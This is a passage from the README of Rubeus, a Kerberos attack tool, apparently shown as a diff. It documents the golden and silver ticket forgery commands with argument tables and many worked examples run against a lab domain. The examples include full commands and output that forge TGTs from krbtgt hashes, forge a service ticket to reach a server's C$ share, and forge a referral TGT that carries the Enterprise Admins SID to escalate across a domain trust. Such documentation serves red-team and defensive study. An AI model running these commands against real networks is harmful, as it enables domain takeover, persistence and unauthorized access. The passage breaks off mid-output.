+ [*] Action: S4U + + [*] Action: S4U + + [*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20) + [*] Requesting the cross realm 'S4U2Self' for external.admin@external.zeroday.lab from idc1.internal.zeroday.lab + [*] Sending cross realm S4U2Self request + [+] cross realm S4U2Self success! + [*] Substituting alternative service name 'host/isql1.internal.zeroday.lab' + [*] base64(ticket.kirbi): + + doIFETCCBQ...RheS5sYWI= + + + +## Ticket Forgery + +Breakdown of the ticket forgery commands: + +| Command | Description | +| ----------- | ----------- | +| [golden](#golden) | Forge an ticket granting ticket (TGT) | +| [silver](#silver) | Forge a service ticket, can also forge TGTs | + +There are many similarities between the `golden` and `silver` commands, the reason for them being separate is to simplfy the `golden` command. Service tickets can be much more complex than TGTs with different keys and extra sections, while TGTs can be forged with the `silver` command, `golden` provides fewer potential arguments as the features not relevent to TGTs are not present. + +Most of the arguments for both of these commands are to set PAC fields and should be reasonably self explanitory. These are: + +| Argument | Description | +|----------|-------------| +| /user | Used as the user to query details for if `/ldap` is passed but also is used to set the EffectiveName field in the PAC and the cname field in the EncTicketPart | +| /dc | Specifies the domain controller used for the LDAP query if `/ldap` is passed but also used to set the LogonServer field in the PAC | +| /netbios | Sets the LogonDomainName field in the PAC | +| /sid | Sets the LogonDomainId field in the PAC | +| /id | Sets the UserId field in the PAC (Default: 500) | +| /displayname | Sets the FullName field in the PAC | +| /logoncount | Sets the LogonCount field in the PAC (Default: 0) | +| /badpwdcount | Sets the BadPasswordCount field in the PAC (Default: 0) | +| /uac | Sets the UAC field in the PAC (Default: NORMAL_ACCOUNT) | +| /pgid | Sets the PrimaryGroupId field in the PAC and is also added to the `/groups` field (Default: 513) | +| /groups | Comma separated. Sets the Groups field in the PAC, also has the `/pgid` added to it. The total is also used to calculate the GroupCount field (Default: 520,512,513,519,518) | +| /homedir | Sets the HomeDirectory field in the PAC | +| /homedrive | Sets the HomeDirectoryDrive field in the PAC | +| /profilepath | Sets the ProfilePath field in the PAC | +| /scriptpath | Sets the LogonScript field in the PAC | +| /logofftime | Sets the LogoffTime field in the PAC. In local time format - Is converted to UTC automatically | +| /lastlogon | Sets the LogonTime field in the PAC. In local time format - Is converted to UTC automatically (Default: starttime - 1 second) | +| /passlastset | Sets the PasswordLastSet field in the PAC. In local time format - Is converted to UTC automatically | +| /minpassage | Sets the PasswordCanChange field in the PAC. This is relative to PasswordLastSet, in number of days, so '5' for 5 days | +| /maxpassage | Sets the PasswordMustChange field in the PAC. This is relative to PasswordLastSet, in number of days, so '5' for 5 days | +| /sids | Comma separated. Sets the ExtraSIDs field in the PAC. It is also used to calculate the ExtraSIDCount field | +| /resourcegroupsid | Sets the ResourceGroupSid field in the PAC. If used, `/resourcegroups` is also required | +| /resourcegroups | Comma separated. Sets the ResourceGroups field in the PAC. It is also used to calculate the ResourceGroupCount field. If used, `/resourcegroupsid` is also required | + +Other arguments common to both commands but to set fields outside of the PAC are: + +| Argument | Description | +|----------|-------------| +| /authtime | Sets the authtime field in the EncTicketPart. In local time format - Is converted to UTC automatically (Default: now) | +| /starttime | Sets the starttime field in the EncTicketPart. In local time format - Is converted to UTC automatically (Default: now) | +| /endtime | Sets the endtime field in the EncTicketPart. This is relative to starttime, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below (Default: 10h) | +| /renewtill | Sets the renew-till field in the EncTicketPart. This is relative to starttime, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below (Default: 7d) | +| /rangeend | This is for creating multiple tickets that start at different times. This will be the last starttime, relative to `/starttime`, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below | +| /rangeinterval | This is for creating multiple tickets that starts are different times. This is the interval that will be used between each starttime, in the format of multiplier plus timerange, so for 5 days, 5d. More information on this format explained below | +| /flags | Sets the ticket flags within the EncTicketPart (Default: forwardable,renewable,pre_authent and for `golden` also initial) | + +For the relative times described in the tables above, the format is an integer used as a multiplier followed by a single character which acts as a timerange. The meaning of each supported character is shown in the table below (**These are case sensitive**): + +| Character | Description | +|-----------|-------------| +| m | Minutes | +| h | Hours | +| d | Days | +| M | Months | +| y | Years | + +The other common feature used by both commands is LDAP information retrieval. Both `golden` and `silver` support retrieving information over LDAP using the `/ldap` flag. The `/ldap` flag can be used with the `/creduser` and `credpassword` arguments to authenticate as an alternative user when retrieving this information. The inforamtion is retrieved by sending 3 LDAP queries and mounting the SYSVOL share of a domain controller (for reading the Domain policy file) if no other information is passed. LDAP queries will automatically be sent over TLS and fail back to plaintext LDAP if it fails. + +The first LDAP query, which will always be sent if `ldap` is passed, queries for the user specified in `/user`, and retreives most of the users information required for the PAC. + +The second LDAP query will be sent if `/groups`, `/pgid`, `/minpassage` **OR** `/maxpassage` are not given on the command line, any of these arguments given on the command line will avoid querying LDAP for the information. This query retrieves the groups that the user is a member of, including the primary group, along with the domain policy object (used to get the path to the policy file). If `/minpassage` or `/maxpassage` is not provided on the command line and the domain policy object is retrieved from LDAP, the SYSVOL share of a DC is mounted and the policy file is parsed to get the MinimumPasswordAge (to set the proper value for the PasswordCanChange field in the PAC) and the MaximumPasswordAge (to set the proper value for the PasswordMustChange field in the PAC) values. + +Lastly, if the `/netbios` argument is not given on the command line, an LDAP query for the proper netbios name of the domain is made from the *Configuration* container in order to set the LogonDomainName field in the PAC. If the `/ldap` flag is not given on the command line and the `/netbios` argument also is not given, the first element (before the first period '.') is uppercased and used instead. + +The `/printcmd` flag can be used to print the arguments required to generate another ticket containing the same PAC information used to generate the current ticket. This will **not** print arguments related to the times the ticket is valid for as those are likely required to be different for any future tickets you want to forge. + +### golden + +The **golden** action will forge a TGT for the user `/user:X` encrypting the ticket with the hash passed with `/des:X`, `/rc4:X`, `/aes128:X` or `/aes256:X` and using the same key to create the ServerChecksum and KDCChecksum. The various arguments to set fields manually are described above or the `/ldap` flag can be used to automatically retrieve the information from the domain controller. + +The `/newpac` switch can be used to include the new *Requestor* and *Attributes* PAC_INFO_BUFFERs, added in response to CVE-2021-42287. + +Forging a TGT using the `/ldap` flag to retrieve the information and the `/printcmd` flag to print a command to forge another ticket with the same PAC information: + + C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Build TGT + + [*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)' + [*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))' + [*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL + [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted + [*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL + [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted + [*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))' + [*] Building PAC + + [*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS) + [*] SID : S-1-5-21-3237111427-1607930709-3979055039 + [*] UserId : 1106 + [*] Groups : 513 + [*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 + [*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + [*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 + [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + [*] Service : krbtgt + [*] Target : rubeus.ghostpack.local + + [*] Generating EncTicketPart + [*] Signing PAC + [*] Encrypting EncTicketPart + [*] Generating Ticket + [*] Generated KERB-CRED + [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' + + [*] AuthTime : 29/07/2021 00:12:40 + [*] StartTime : 29/07/2021 00:12:40 + [*] EndTime : 29/07/2021 10:12:40 + [*] RenewTill : 05/08/2021 00:12:40 + + [*] base64(ticket.kirbi): + + doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + dWJldXMuZ2hvc3RwYWNrLmxvY2Fs + + +​ +​ + [*] Printing a command to recreate a ticket containing the information used within this ticket + + C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED + +Forging a TGT, explicitly setting everything on the command line: + + C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Build TGT + + [*] Building PAC + + [*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS) + [*] SID : S-1-5-21-3237111427-1607930709-3979055039 + [*] UserId : 1106 + [*] Groups : 513 + [*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 + [*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + [*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 + [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + [*] Service : krbtgt + [*] Target : rubeus.ghostpack.local + + [*] Generating EncTicketPart + [*] Signing PAC + [*] Encrypting EncTicketPart + [*] Generating Ticket + [*] Generated KERB-CRED + [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' + + [*] AuthTime : 29/07/2021 00:18:19 + [*] StartTime : 29/07/2021 00:18:19 + [*] EndTime : 29/07/2021 10:18:19 + [*] RenewTill : 05/08/2021 00:18:19 + + [*] base64(ticket.kirbi): + + doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + dWJldXMuZ2hvc3RwYWNrLmxvY2Fs + +Forging 5 TGTs starting on different days with 1 day interval between starttimes, with the first starting now, and using LDAP to get the PAC information: + + C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Build TGT + + [*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)' + [*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))' + [*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL + [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted + [*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL + [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted + [*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))' + [*] Building PAC + + [*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS) + [*] SID : S-1-5-21-3237111427-1607930709-3979055039 + [*] UserId : 1106 + [*] Groups : 513 + [*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 + [*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + [*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 + [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + [*] Service : krbtgt + [*] Target : rubeus.ghostpack.local + + [*] Generating EncTicketPart + [*] Signing PAC + [*] Encrypting EncTicketPart + [*] Generating Ticket + [*] Generated KERB-CRED + [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' + + [*] AuthTime : 29/07/2021 00:22:38 + [*] StartTime : 29/07/2021 00:22:38 + [*] EndTime : 29/07/2021 10:22:38 + [*] RenewTill : 05/08/2021 00:22:38 + + [*] base64(ticket.kirbi): + + doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + dWJldXMuZ2hvc3RwYWNrLmxvY2Fs + + + [*] Generating EncTicketPart + [*] Signing PAC + [*] Encrypting EncTicketPart + [*] Generating Ticket + [*] Generated KERB-CRED + [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' + + [*] AuthTime : 30/07/2021 00:22:38 + [*] StartTime : 30/07/2021 00:22:38 + [*] EndTime : 30/07/2021 10:22:38 + [*] RenewTill : 06/08/2021 00:22:38 + + [*] base64(ticket.kirbi): + + doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + dWJldXMuZ2hvc3RwYWNrLmxvY2Fs + + + [*] Generating EncTicketPart + [*] Signing PAC + [*] Encrypting EncTicketPart + [*] Generating Ticket + [*] Generated KERB-CRED + [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' + + [*] AuthTime : 31/07/2021 00:22:38 + [*] StartTime : 31/07/2021 00:22:38 + [*] EndTime : 31/07/2021 10:22:38 + [*] RenewTill : 07/08/2021 00:22:38 + + [*] base64(ticket.kirbi): + + doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + dWJldXMuZ2hvc3RwYWNrLmxvY2Fs + + + [*] Generating EncTicketPart + [*] Signing PAC + [*] Encrypting EncTicketPart + [*] Generating Ticket + [*] Generated KERB-CRED + [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' + + [*] AuthTime : 01/08/2021 00:22:38 + [*] StartTime : 01/08/2021 00:22:38 + [*] EndTime : 01/08/2021 10:22:38 + [*] RenewTill : 08/08/2021 00:22:38 + + [*] base64(ticket.kirbi): + + doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + dWJldXMuZ2hvc3RwYWNrLmxvY2Fs + + + [*] Generating EncTicketPart + [*] Signing PAC + [*] Encrypting EncTicketPart + [*] Generating Ticket + [*] Generated KERB-CRED + [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' + + [*] AuthTime : 02/08/2021 00:22:38 + [*] StartTime : 02/08/2021 00:22:38 + [*] EndTime : 02/08/2021 10:22:38 + [*] RenewTill : 09/08/2021 00:22:38 + + [*] base64(ticket.kirbi): + + doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + dWJldXMuZ2hvc3RwYWNrLmxvY2Fs + +### silver + +The **silver** action will forge a ticket for the user `/user:X` and service `/service:SPN`, encrypting the ticket with the hash passed with `/des:X`, `/rc4:X`, `/aes128:X` or `/aes256:X` and using the same key to create the ServerChecksum. If the `/krbkey:X` argument is passed this will be used to create the KDCChecksum and TicketChecksum (if the service is not **krbtgt/domain.com** or **domain.com** is different to the from the realm used within the ticket, ie. it is a referral ticket), otherwise the same key used to encrypt the ticket is used. If `krbenctype:X` is not passed, the same encryption type used by the service key is assumed for the KDCChecksum and TicketChecksum. + +The `/cname:X` and `/crealm:X` arguments can be used to set different values for those fields within the EncTicketPart (encrypted part of the ticket), this is sometimes seen within referral delegation tickets. A S4UDelegationInfo PAC section can be added by passing the `/s4uproxytarget:X` and `/s4utransitedservices:SPN1,SPN2,...` arguments, this section provides a final target for delegation and the list of SPNs the delegation has happened through. + +The `/authdata` flag can be used to add some generic Authorization Data sections to the EncTicketPart, by default this will include a *KERB-LOCAL* section and a *KERB-AD-RESTRICTION-ENTRY* section with some default values. + +Forging a service ticket to **cifs/SQL1.rubeus.ghostpack.local** for the user **ccob** using the services *RC4* password hash and signing the KDCChecksum and TicketChecksum with the proper KRBTGT *AES256* key, using LDAP with alternate credentials to get the PAC information: + + C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$ + The user name or password is incorrect. + + C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Build TGS + + [*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=ccob)' + [*] Retrieving group and domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))' + [*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL + [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted + [*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL + [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted + [*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local + [!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming rubeus.ghostpack.local is the forest root + [*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))' + [*] Building PAC + + [*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS) + [*] SID : S-1-5-21-3237111427-1607930709-3979055039 + [*] UserId : 1109 + [*] Groups : 512,513 + [*] ServiceKey : F74B07EB77CAA52B8D227A113CB649A6 + [*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5 + [*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 + [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + [*] Service : cifs + [*] Target : SQL1.rubeus.ghostpack.local + + [*] Generating EncTicketPart + [*] Signing PAC + [*] Encrypting EncTicketPart + [*] Generating Ticket + [*] Generated KERB-CRED + [*] Forged a TGS for 'ccob' to 'cifs/SQL1.rubeus.ghostpack.local' + + [*] AuthTime : 29/07/2021 01:00:23 + [*] StartTime : 29/07/2021 01:00:23 + [*] EndTime : 29/07/2021 11:00:23 + [*] RenewTill : 05/08/2021 01:00:23 + + [*] base64(ticket.kirbi): + + doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + bG9jYWw= + + + [+] Ticket successfully imported! + + C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$ + Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label. + Volume Serial Number is 1AD6-20BE + + Directory of \\SQL1.rubeus.ghostpack.local\c$ + + 15/09/2018 08:19 PerfLogs + 20/07/2021 18:17 Program Files + 20/07/2021 18:17 Program Files (x86) + 21/07/2021 01:53 Rubeus + 20/07/2021 21:02 temp + 20/07/2021 22:31 Users + 20/07/2021 18:18 Windows + 0 File(s) 0 bytes + 7 Dir(s) 124,275,159,040 bytes free + +Forging a referral TGT for a trusting domain, using LDAP to retrieve the PAC information: + + C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Build TGS + + [*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=exploitph)' + [*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))' + [*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL + [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted + [*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL + [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted + [*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local + [*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))' + [*] Building PAC + + [*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS) + [*] SID : S-1-5-21-3237111427-1607930709-3979055039 + [*] UserId : 1104 + [*] Groups : 513 + [*] ServiceKey : 856A1023055848748E7B9D505EBE0E02 + [*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5 + [*] KDCKey : 856A1023055848748E7B9D505EBE0E02 + [*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5 + [*] Service : krbtgt + [*] Target : dev.rubeus.ghostpack.local + + [*] Generating EncTicketPart + [*] Signing PAC + [*] Encrypting EncTicketPart + [*] Generating Ticket + [*] Generated KERB-CRED + [*] Forged a TGT for 'exploitph@rubeus.ghostpack.local' + + [*] AuthTime : 29/07/2021 02:45:54 + [*] StartTime : 29/07/2021 02:45:54 + [*] EndTime : 29/07/2021 12:45:54 + [*] RenewTill : 05/08/2021 02:45:54 + + [*] base64(ticket.kirbi): + + doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + LmxvY2Fs + +This ticket can then be used to request service tickets on the trusting domain using `asktgs`: + + C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBa...(snip)...NrLmxvY2Fs + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Ask TGS + + [*] Using domain controller: devdc1.dev.rubeus.ghostpack.local (192.168.71.85) + [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket + [*] Building TGS-REQ request for: 'cifs/devdc1.dev.rubeus.ghostpack.local' + [+] TGS request successful! + [*] base64(ticket.kirbi): + + doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ + ...(snip)... + ZXVzLmdob3N0cGFjay5sb2NhbA== + + ServiceName : cifs/devdc1.dev.rubeus.ghostpack.local + ServiceRealm : DEV.RUBEUS.GHOSTPACK.LOCAL + UserName : exploitph + UserRealm : RUBEUS.GHOSTPACK.LOCAL + StartTime : 29/07/2021 02:51:05 + EndTime : 29/07/2021 12:45:54 + RenewTill : 05/08/2021 02:45:54 + Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable + KeyType : aes256_cts_hmac_sha1 + Base64(key) : v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw= + +Forge a referral TGT for **dev.ccob@dev.rubeus.ghostpack.local** for the parent domain **rubeus.ghostpack.local** and include the SID of the Enterprise Admins group: + + C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Build TGS + + [*] Trying to query LDAP using LDAPS for user information on domain controller DevDC1.dev.rubeus.ghostpack.local + [*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=dev.ccob)' + [*] Retrieving domain policy information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local + [*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))' + [*] Attempting to mount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL + [*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully mounted + [*] Attempting to unmount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL + [*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully unmounted + [*] Retrieving netbios name information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local + [*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))' + [*] Building PAC + + [*] Domain : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV) + [*] SID : S-1-5-21-2065789546-4129202522-221898516 + [*] UserId : 1107 + [*] Groups : 513 + [*] ExtraSIDs : S-1-5-21-3237111427-1607930709-3979055039-519 + [*] ServiceKey : 856A1023055848748E7B9D505EBE0E02 + [*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5 + [*] KDCKey : 856A1023055848748E7B9D505EBE0E02 + [*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5 + [*] Service : krbtgt + [*] Target : rubeus.ghostpack.local + + [*] Generating EncTicketPart + [*] Signing PAC + [*] Encrypting EncTicketPart + [*] Generating Ticket + [*] Generated KERB-CRED + [*] Forged a TGT for 'dev.ccob@dev.rubeus.ghostpack.local' + + [*] AuthTime : 29/07/2021 03:03:34 + [*] StartTime : 29/07/2021 03:03:34 + [*] EndTime : 29/07/2021 13:03:34 + [*] RenewTill : 05/08/2021 03:03:34 + + [*] base64(ticket.kirbi): + + doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ + ...(snip)... + G9zdHBhY2subG9jYWw= + +This referral TGT can then be used to request service tickets for services in **rubeus.ghostpack.local** using the [asktgs](#asktgs) command and gain the privileges of the Enterprise Admins group: + + C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(snip)...cy5naG9zdHBhY2subG9jYWw= + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Ask TGS + + [*] Using domain controller: 